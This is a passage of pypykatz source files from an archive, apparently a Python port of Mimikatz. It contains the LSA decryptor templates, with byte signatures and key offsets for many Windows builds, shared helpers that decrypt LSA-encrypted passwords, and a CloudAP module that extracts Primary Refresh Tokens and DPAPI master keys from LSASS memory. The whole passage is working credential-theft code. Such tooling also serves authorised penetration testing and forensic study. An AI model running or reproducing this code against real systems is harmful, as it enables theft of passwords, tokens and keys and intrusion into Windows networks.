WindowsMinBuild.WIN_7.value: template = templates['nt6']['x86']['1'] elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template = templates['nt6']['x86']['2'] elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: template = templates['nt6']['x86']['3'] elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_10.value: template = templates['nt6']['x86']['4'] elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber <= WindowsBuild.WIN_10_1507.value: template = templates['nt6']['x86']['5'] elif WindowsBuild.WIN_10_1507.value > sysinfo.buildnumber < WindowsBuild.WIN_10_1909.value: template = templates['nt6']['x86']['6'] else: template = templates['nt6']['x86']['7'] elif sysinfo.architecture == KatzSystemArchitecture.X64: if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value: raise Exception("Maybe implemented later") elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value: raise Exception("Maybe implemented later") elif sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: #vista logger.debug('using x64 - 1') template = templates['nt6']['x64']['1'] elif sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: logger.debug('using x64 - 2') template = templates['nt6']['x64']['2'] elif sysinfo.buildnumber < WindowsMinBuild.WIN_10.value: #win 8 and blue if sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: if sysinfo.msv_dll_timestamp < 0x60000000: logger.debug('using x64 - 3') template = templates['nt6']['x64']['3'] else: logger.debug('using x64 - 7') template = templates['nt6']['x64']['7'] else: logger.debug('using x64 - 4') template = templates['nt6']['x64']['4'] #win blue elif sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value: logger.debug('using x64 - 5') template = templates['nt6']['x64']['5'] elif WindowsBuild.WIN_10_1809.value <= sysinfo.buildnumber <= WindowsMinBuild.WIN_11.value: logger.debug('using x64 - 6') template = templates['nt6']['x64']['6'] else: logger.debug('using x64 - 8') template = templates['nt6']['x64']['8'] else: raise Exception('Missing LSA decrpytor template for Architecture: %s , Build number %s' % (sysinfo.architecture, sysinfo.buildnumber)) template.log_template('key_handle_struct', template.key_handle_struct) template.log_template('key_struct', template.key_struct) template.log_template('hard_key_struct', template.hard_key_struct) return template class LSADecyptorKeyPattern: def __init__(self): self.signature = None #byte pattern that identifies the location of the key structures (AES and DES) self.offset_to_IV_ptr = None #offset from pattern that gives the pointer to the IV (applicabe for both keys, kept sepparately from key structures) self.IV_length = None #length of the IV, always 16 from NT6 self.offset_to_AES_key_ptr = None #offset from signature that gives the pointer to the DES key structure self.offset_to_DES_key_ptr = None #offset from signature that gives the pointer to the AES key structure class KIWI_HARD_KEY: def __init__(self, reader): self.cbSecret = ULONG(reader).value self.data = reader.read(self.cbSecret) class KIWI_BCRYPT_KEY: def __init__(self, reader): self.size = ULONG(reader).value self.tag = reader.read(4) self.type = ULONG(reader).value self.unk0 = ULONG(reader).value self.unk1 = ULONG(reader).value self.unk2 = ULONG(reader).value self.hardkey = KIWI_HARD_KEY(reader) def verify(self): return self.tag == b'KSSM' class KIWI_BCRYPT_KEY8: def __init__(self, reader): self.size = ULONG(reader).value self.tag = reader.read(4) # 'MSSK' self.type = ULONG(reader).value self.unk0 = ULONG(reader).value self.unk1 = ULONG(reader).value self.unk2 = ULONG(reader).value self.unk3 = ULONG(reader).value reader.align() self.unk4 = PVOID(reader).value # before, align in x64 self.hardkey = KIWI_HARD_KEY(reader) def verify(self): return self.tag == b'KSSM' class KIWI_BCRYPT_KEY81: def __init__(self, reader): self.size = ULONG(reader).value self.tag = reader.read(4) # 'MSSK' self.type = ULONG(reader).value self.unk0 = ULONG(reader).value self.unk1 = ULONG(reader).value self.unk2 = ULONG(reader).value self.unk3 = ULONG(reader).value self.unk4 = ULONG(reader).value reader.align() self.unk5 = PVOID(reader).value #before, align in x64 self.unk6 = ULONG(reader).value self.unk7 = ULONG(reader).value self.unk8 = ULONG(reader).value self.unk9 = ULONG(reader).value self.hardkey = KIWI_HARD_KEY(reader) def verify(self): return self.tag == b'KSSM' class KIWI_BCRYPT_KEY81_NEW: def __init__(self, reader): self.size = ULONG(reader).value self.tag = reader.read(4) # 'MSSK' self.type = ULONG(reader).value self.unk0 = ULONG(reader).value self.unk1 = ULONG(reader).value self.unk2 = ULONG(reader).value self.unk3 = ULONG(reader).value self.unk4 = ULONG(reader).value reader.align() self.unk5 = PVOID(reader).value #before, align in x64 self.unk6 = ULONG(reader).value self.unk7 = ULONG(reader).value self.unk8 = ULONG(reader).value self.unk9 = ULONG(reader).value self.unk10 = ULONG(reader).value self.hardkey = KIWI_HARD_KEY(reader) def verify(self): return self.tag == b'KSSM' class PKIWI_BCRYPT_KEY(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_BCRYPT_KEY) class KIWI_BCRYPT_HANDLE_KEY: def __init__(self, reader): self.size = ULONG(reader).value self.tag = reader.read(4) # 'UUUR' self.hAlgorithm = PVOID(reader).value self.ptr_key = PKIWI_BCRYPT_KEY(reader) self.unk0 = PVOID(reader).value def verify(self): return self.tag == b'RUUU' class LSA_x64_1(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 63 self.key_pattern.offset_to_DES_key_ptr = -69 self.key_pattern.offset_to_AES_key_ptr = 25 self.key_struct = KIWI_BCRYPT_KEY self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x64_2(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 59 self.key_pattern.offset_to_DES_key_ptr = -61 self.key_pattern.offset_to_AES_key_ptr = 25 self.key_struct = KIWI_BCRYPT_KEY self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x64_3(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 62 self.key_pattern.offset_to_DES_key_ptr = -70 self.key_pattern.offset_to_AES_key_ptr = 23 self.key_struct = KIWI_BCRYPT_KEY8 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x64_4(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 62 self.key_pattern.offset_to_DES_key_ptr = -70 self.key_pattern.offset_to_AES_key_ptr = 23 self.key_struct = KIWI_BCRYPT_KEY81 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x64_5(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 61 self.key_pattern.offset_to_DES_key_ptr = -73 self.key_pattern.offset_to_AES_key_ptr = 16 self.key_struct = KIWI_BCRYPT_KEY81 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x64_6(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 67 self.key_pattern.offset_to_DES_key_ptr = -89 self.key_pattern.offset_to_AES_key_ptr = 16 self.key_struct = KIWI_BCRYPT_KEY81 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x64_7(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 58 self.key_pattern.offset_to_DES_key_ptr = -62 self.key_pattern.offset_to_AES_key_ptr = 23 self.key_struct = KIWI_BCRYPT_KEY8 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x64_8(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 58 self.key_pattern.offset_to_DES_key_ptr = -89 self.key_pattern.offset_to_AES_key_ptr = 16 self.key_struct = KIWI_BCRYPT_KEY81 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x64_9(LsaTemplate_NT6): """Same as LSA_x64_8 but with a different IV offset""" def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 71 self.key_pattern.offset_to_DES_key_ptr = -89 self.key_pattern.offset_to_AES_key_ptr = 16 self.key_struct = KIWI_BCRYPT_KEY81 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x86_1(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 5 self.key_pattern.offset_to_DES_key_ptr = -76 self.key_pattern.offset_to_AES_key_ptr = -21 self.key_struct = KIWI_BCRYPT_KEY self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x86_2(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 5 self.key_pattern.offset_to_DES_key_ptr = -76 self.key_pattern.offset_to_AES_key_ptr = -21 self.key_struct = KIWI_BCRYPT_KEY self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x86_3(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 5 self.key_pattern.offset_to_DES_key_ptr = -69 self.key_pattern.offset_to_AES_key_ptr = -18 self.key_struct = KIWI_BCRYPT_KEY8 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x86_4(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 5 self.key_pattern.offset_to_DES_key_ptr = -69 self.key_pattern.offset_to_AES_key_ptr = -18 self.key_struct = KIWI_BCRYPT_KEY81 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x86_5(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 5 self.key_pattern.offset_to_DES_key_ptr = -79 self.key_pattern.offset_to_AES_key_ptr = -22 self.key_struct = KIWI_BCRYPT_KEY81 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x86_6(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 5 self.key_pattern.offset_to_DES_key_ptr = -79 self.key_pattern.offset_to_AES_key_ptr = -22 self.key_struct = KIWI_BCRYPT_KEY81 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x86_7(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 5 self.key_pattern.offset_to_DES_key_ptr = -79 self.key_pattern.offset_to_AES_key_ptr = -22 self.key_struct = KIWI_BCRYPT_KEY81_NEW self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY templates = { 'nt6' : { 'x64' : { '1' : LSA_x64_1(), '2' : LSA_x64_2(), '3' : LSA_x64_3(), '4' : LSA_x64_4(), '5' : LSA_x64_5(), '6' : LSA_x64_6(), '7' : LSA_x64_7(), '8' : LSA_x64_8(), '9' : LSA_x64_9(), #same as 8 but fidderent IV offset }, 'x86': { '1' : LSA_x86_1(), '2' : LSA_x86_2(), '3' : LSA_x86_3(), '4' : LSA_x86_4(), '5' : LSA_x86_5(), '6' : LSA_x86_6(), '7' : LSA_x86_7(), } } } ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/lsa_templates.py0000664000175000017500000000250514543266630022675 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild from pypykatz.lsadecryptor.lsa_template_nt5 import LsaTemplate_NT5 from pypykatz.lsadecryptor.lsa_template_nt6 import LsaTemplate_NT6 class LsaTemplate: def __init__(self): pass @staticmethod def get_template_brute(sysinfo): if sysinfo.architecture == KatzSystemArchitecture.X86: if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: return LsaTemplate_NT5.get_template_brute(sysinfo) else: return LsaTemplate_NT6.get_template_brute(sysinfo) elif sysinfo.architecture == KatzSystemArchitecture.X64: if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: return LsaTemplate_NT5.get_template_brute(sysinfo) else: return LsaTemplate_NT6.get_template_brute(sysinfo) @staticmethod def get_template(sysinfo): if sysinfo.architecture == KatzSystemArchitecture.X86: if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: return LsaTemplate_NT5.get_template(sysinfo) else: return LsaTemplate_NT6.get_template(sysinfo) elif sysinfo.architecture == KatzSystemArchitecture.X64: if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: return LsaTemplate_NT5.get_template(sysinfo) else: return LsaTemplate_NT6.get_template(sysinfo)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/package_commons.py0000664000175000017500000001613114543266630023166 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from abc import ABC, abstractmethod from pypykatz import logger from pypykatz.commons.common import hexdump from pypykatz.commons.win_datatypes import RTL_AVL_TABLE class Logger: def __init__(self, module_name, package_name, sysinfo): self.package_name = package_name self.module_name = module_name self.sysinfo = sysinfo self.logger = logger def get_level(self): return self.logger.getEffectiveLevel() def log(self, msg, loglevel = 1): first = True for line in msg.split('\n'): if first == True: self.logger.log(loglevel, '[%s] [%s] %s' % (self.package_name, self.module_name, line)) first = False else: self.logger.log(loglevel, '[%s] [%s] %s' % (self.package_name, self.module_name, line)) class PackageTemplate: def __init__(self, package_name, sysinfo = None): self.logger = Logger('template', package_name, sysinfo) self.package_name = package_name self.sysinfo = sysinfo def log(self, msg, loglevel = 6): self.logger.log(loglevel, '%s' % msg) def log_template(self, struct_var_name, struct_template_obj, loglevel = 6): """" Generic logging function to show which template was selected for which structure """ self.logger.log('Selecting template for %s: %s' % (struct_var_name, struct_template_obj.__name__), loglevel) @staticmethod @abstractmethod def get_template(sysinfo): pass class PackageDecryptor: def __init__(self, package_name, lsa_decryptor, sysinfo, reader): self.logger = Logger('decryptor', package_name, sysinfo) self.package_name = package_name self.lsa_decryptor = lsa_decryptor self.sysinfo = sysinfo self.reader = reader def log(self, msg, loglevel = 6): self.logger.log('%s' % msg, loglevel) def find_signature(self, module_name, signature = None): """ Searches for a sequence of bytes in the module identified by module_name """ self.log('Searching for key struct signature') if signature is None: signature = self.decryptor_template.signature fl = self.reader.find_in_module(module_name, signature, find_first = True) if len(fl) == 0: raise Exception('Signature was not found in module %s Signature: %s' % (module_name, signature.hex())) return fl[0] def log_ptr(self, ptr, name, datasize = None): """ Reads datasize bytes from the memory region pointed by the pointer. ptr = the pointer to be read name = display name for the memory structure, usually the data structure's name the pointer is pointing at """ level = self.logger.get_level() if level > 6 or level == 0: return if not datasize: if level == 5: datasize = 0x10 if level == 4: datasize = 0x20 if level == 3: datasize = 0x50 if level == 2: datasize = 0x100 if level == 1: datasize = 0x200 pos = self.reader.tell() try: self.reader.move(ptr) data = self.reader.peek(datasize) self.reader.move(pos) self.log('%s: %s\n%s' % (name, hex(ptr), hexdump(data, start = ptr))) except Exception as e: self.log('%s: Logging failed for position %s' % (name, hex(ptr))) def decrypt_password(self, enc_password, bytes_expected = False, trim_zeroes = True, segment_size=128): """ Common decryption method for LSA encrypted passwords. Result be string or hex encoded bytes (for machine accounts). Also supports bad data, as orphaned credentials may contain actual password OR garbage enc_password: bytes The encrypted password bytes bytes_expected: bool :indication that the result of decryption is bytes, no need for encoding trim_zeroes: bool: if a text is expected then this variable tells wether we should trim the trailing zeroes after decryption """ dec_password = None temp = self.lsa_decryptor.decrypt(enc_password, segment_size=segment_size) if temp and len(temp) > 0: if bytes_expected == False: try: # normal password dec_password = temp.decode('utf-16-le') except: # machine password try: dec_password = temp.decode('utf-8') except: try: dec_password = temp.decode('ascii') except: dec_password = temp.hex() else: # if not machine password, then check if we should trim it if trim_zeroes == True: dec_password = dec_password.rstrip('\x00') else: dec_password = temp return dec_password, temp def walk_avl(self, node_ptr, result_ptr_list): """ Walks the AVL tree, extracts all OrderedPointer values and returns them in a list node_ptr: POINTER : the Parent->RightChild pointer in the AVL tree result_ptr_list: list: the list to store the results in """ node = node_ptr.read(self.reader, override_finaltype = RTL_AVL_TABLE) if node is None: self.log('AVL walker found empty tree') return if node.OrderedPointer.value != 0: result_ptr_list.append(node.OrderedPointer.value) if node.BalancedRoot.LeftChild.value != 0 : self.walk_avl(node.BalancedRoot.LeftChild, result_ptr_list) if node.BalancedRoot.RightChild.value != 0 : self.walk_avl(node.BalancedRoot.RightChild, result_ptr_list) def walk_list(self, entry_ptr, callback, max_walk = 255, override_ptr = None): """ Iterating over a linked list. Linked lists in packages are circural, so the end of the list is tested is the Flink is pointing to an address already seen. entry_ptr = pointer type object the will yiled the first entry when called read() callback = function that will be called when a new entry is found. callback method will be invoked with one parameter, the entry itself max_walk = limit the amount of entries to be iterating override_ptr = if this parameter is set the pointer will be resolved as if it would be pointing to this structure """ #if entry_ptr.value == 0: # self.log('walk_list called with a NULL pointer! This could mean that parsing is failing, double check this!') # return entries_seen = {} entries_seen[entry_ptr.location] = 1 max_walk = max_walk self.log_ptr(entry_ptr.value, 'List entry -%s-' % entry_ptr.finaltype.__name__ if not override_ptr else override_ptr.__name__) while True: try: if override_ptr: entry = entry_ptr.read(self.reader, override_ptr) else: entry = entry_ptr.read(self.reader) except Exception as e: self.log('Exception while reading list entry: %s' % e) break # uncomment this line to discard the exception and continue parsing raise if not entry: break callback(entry) max_walk -= 1 self.log('%s next ptr: %x' % (entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__ , entry.Flink.value)) self.log('%s seen: %s' % (entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__ , entry.Flink.value not in entries_seen)) self.log('%s max_walk: %d' % (entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__ , max_walk)) if entry.Flink.value != 0 and entry.Flink.value not in entries_seen and max_walk != 0: entries_seen[entry.Flink.value] = 1 self.log_ptr(entry.Flink.value, 'Next list entry -%s-' % entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__) entry_ptr = entry.Flink else: break ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3113644 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/0000775000175000017500000000000014647211624021240 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/__init__.py0000664000175000017500000000241214543266630023352 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from .credman.templates import * from .dpapi.templates import * from .dpapi.decryptor import * from .kerberos.templates import * from .kerberos.decryptor import * from .livessp.templates import * from .livessp.decryptor import * from .msv.templates import * from .msv.decryptor import * from .ssp.templates import * from .ssp.decryptor import * from .tspkg.templates import * from .tspkg.decryptor import * from .wdigest.templates import * from .wdigest.decryptor import * from .cloudap.templates import * from .cloudap.decryptor import * __credman__ = ['CredmanTemplate'] __dpapi__ = ['DpapiTemplate', 'DpapiDecryptor', 'DpapiCredential'] __kerberos__ = ['KerberosTemplate','KerberosDecryptor'] __msv__ = ['MsvTemplate', 'MsvDecryptor', 'MsvCredential'] __ssp__ = ['SspTemplate', 'SspDecryptor', 'SspCredential'] __livessp__ = ['LiveSspTemplate', 'LiveSspDecryptor', 'LiveSspCredential'] __tspkg__ = ['TspkgTemplate', 'TspkgDecryptor', 'TspkgCredential'] __wdigest__ = ['WdigestTemplate','WdigestDecryptor','WdigestCredential'] __cloudap__ = ['CloudapTemplate', 'CloudapDecryptor','CloudapCredential'] __all__ = __cloudap__ + __credman__ + __dpapi__ + __kerberos__ + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3113644 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/cloudap/0000775000175000017500000000000014647211624022667 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/cloudap/__init__.py0000664000175000017500000000000014543266630024770 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/cloudap/decryptor.py0000664000175000017500000000573314543266630025266 0ustar00webdevwebdevimport json import hashlib from pypykatz.lsadecryptor.package_commons import PackageDecryptor from pypykatz.dpapi.dpapi import DPAPI class CloudapCredential: def __init__(self): self.credtype = 'cloudap' self.luid = None self.sid = None self.cachedir = None self.PRT = None self.key_guid = None self.dpapi_key = None self.dpapi_key_sha1 = None def to_dict(self): t = {} t['credtype'] = self.credtype t['cachedir'] = self.cachedir t['PRT'] = self.PRT t['key_guid'] = self.key_guid t['dpapi_key'] = self.dpapi_key t['dpapi_key_sha1'] = self.dpapi_key_sha1 return t def to_json(self): return json.dumps(self.to_dict()) def get_masterkey_hex(self): return self.dpapi_key.hex() if isinstance(self.dpapi_key, bytes) else self.dpapi_key def __str__(self): t = '\t== Cloudap [%x]==\n' % self.luid t += '\t\tcachedir %s\n' % self.cachedir t += '\t\tPRT %s\n' % self.PRT t += '\t\tkey_guid %s\n' % self.key_guid t += '\t\tdpapi_key %s\n' % self.get_masterkey_hex() t += '\t\tdpapi_key_sha1 %s\n' % self.dpapi_key_sha1 return t class CloudapDecryptor(PackageDecryptor): def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): super().__init__('Cloudap', lsa_decryptor, sysinfo, reader) self.decryptor_template = decryptor_template self.credentials = [] def find_first_entry(self): position = self.find_signature('cloudAP.dll',self.decryptor_template.signature) ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) ptr_entry = self.reader.get_ptr(ptr_entry_loc) return ptr_entry, ptr_entry_loc def add_entry(self, cloudap_entry): try: cred = CloudapCredential() cred.luid = cloudap_entry.LocallyUniqueIdentifier if cloudap_entry.cacheEntry is None or cloudap_entry.cacheEntry.value == 0: return cache = cloudap_entry.cacheEntry.read(self.reader) cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','') if cache.cbPRT != 0 and cache.PRT.value != 0: temp, raw_dec = self.decrypt_password(cache.PRT.read_raw(self.reader, cache.cbPRT), bytes_expected=True, segment_size=8) try: temp = temp.decode() except: pass cred.PRT = str(temp) if cache.toDetermine != 0: unk = cache.toDetermine.read(self.reader) if unk is not None: cred.key_guid = unk.guid.value cred.dpapi_key, raw_dec = self.decrypt_password(unk.unk, bytes_expected = True) cred.dpapi_key_sha1 = hashlib.sha1(cred.dpapi_key).hexdigest() if cred.PRT is None and cred.key_guid is None: return self.credentials.append(cred) except Exception as e: self.log('CloudAP entry parsing error! Reason %s' % e) def start(self): try: entry_ptr_value, entry_ptr_loc = self.find_first_entry() except Exception as e: self.log('Failed to find structs! Reason: %s' % e) return self.reader.move(entry_ptr_loc) entry_ptr = self.decryptor_template.list_entry(self.reader) self.walk_list(entry_ptr, self.add_entry)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/cloudap/templates.py0000664000175000017500000000777214543266630025256 0ustar00webdevwebdevfrom pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild from pypykatz.commons.win_datatypes import ULONG, LUID, KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER, DWORD, PVOID, PSID, GUID, DWORD64 from pypykatz.lsadecryptor.package_commons import PackageTemplate class CloudapTemplate(PackageTemplate): def __init__(self): super().__init__('Cloudap') self.signature = None self.first_entry_offset = None self.list_entry = None @staticmethod def get_template(sysinfo): template = CloudapTemplate() if sysinfo.buildnumber <= WindowsBuild.WIN_10_1903.value: return None if sysinfo.architecture == KatzSystemArchitecture.X64: template.signature = b'\x44\x8b\x01\x44\x39\x42' template.first_entry_offset = -9 template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY if sysinfo.buildnumber > WindowsBuild.WIN_10_1903.value: template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY_21H2 elif sysinfo.architecture == KatzSystemArchitecture.X86: template.signature = b'\x8b\x31\x39\x72\x10\x75' template.first_entry_offset = -8 template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY else: raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) template.log_template('list_entry', template.list_entry) return template class PKIWI_CLOUDAP_CACHE_UNK(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_CLOUDAP_CACHE_UNK) class KIWI_CLOUDAP_CACHE_UNK: def __init__(self, reader): self.unk0 = DWORD(reader) self.unk1 = DWORD(reader) self.unk2 = DWORD(reader) self.unkSize = DWORD(reader).value self.guid = GUID(reader) self.unk = reader.read(64) class PKIWI_CLOUDAP_CACHE_LIST_ENTRY(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_CLOUDAP_CACHE_LIST_ENTRY) class KIWI_CLOUDAP_CACHE_LIST_ENTRY: def __init__(self, reader): self.Flink = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader) self.Blink = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader) self.unk0 = DWORD(reader) reader.align() self.LockList = PVOID(reader) self.unk1 = PVOID(reader) self.unk2 = PVOID(reader) self.unk3 = PVOID(reader) self.unk4 = PVOID(reader) self.unk5 = PVOID(reader) self.unk6 = DWORD(reader) self.unk7 = DWORD(reader) self.unk8 = DWORD(reader) self.unk9 = DWORD(reader) self.unkLogin0 = PVOID(reader) #PCWSTR self.unkLogin1 = PVOID(reader) #PCWSTR self.toname = reader.read(130) #wchar_t [64 + 1]; reader.align() self.Sid = PSID(reader).value self.unk10 = DWORD(reader) self.unk11 = DWORD(reader) self.unk12 = DWORD(reader) self.unk13 = DWORD(reader) self.toDetermine = PKIWI_CLOUDAP_CACHE_UNK(reader) self.unk14 = PVOID(reader) self.cbPRT = DWORD(reader).value reader.align() self.PRT = PVOID(reader) #PBYTE(reader) class PKIWI_CLOUDAP_LOGON_LIST_ENTRY(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_CLOUDAP_LOGON_LIST_ENTRY) class KIWI_CLOUDAP_LOGON_LIST_ENTRY: def __init__(self, reader): self.Flink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY(reader) self.Blink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY(reader) self.unk0 = DWORD(reader) self.unk1 = DWORD(reader) self.LocallyUniqueIdentifier = LUID(reader).value self.unk2 = DWORD64(reader) self.unk3 = DWORD64(reader) self.cacheEntry = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader) class PKIWI_CLOUDAP_LOGON_LIST_ENTRY_21H2(POINTER): def __init__(self, 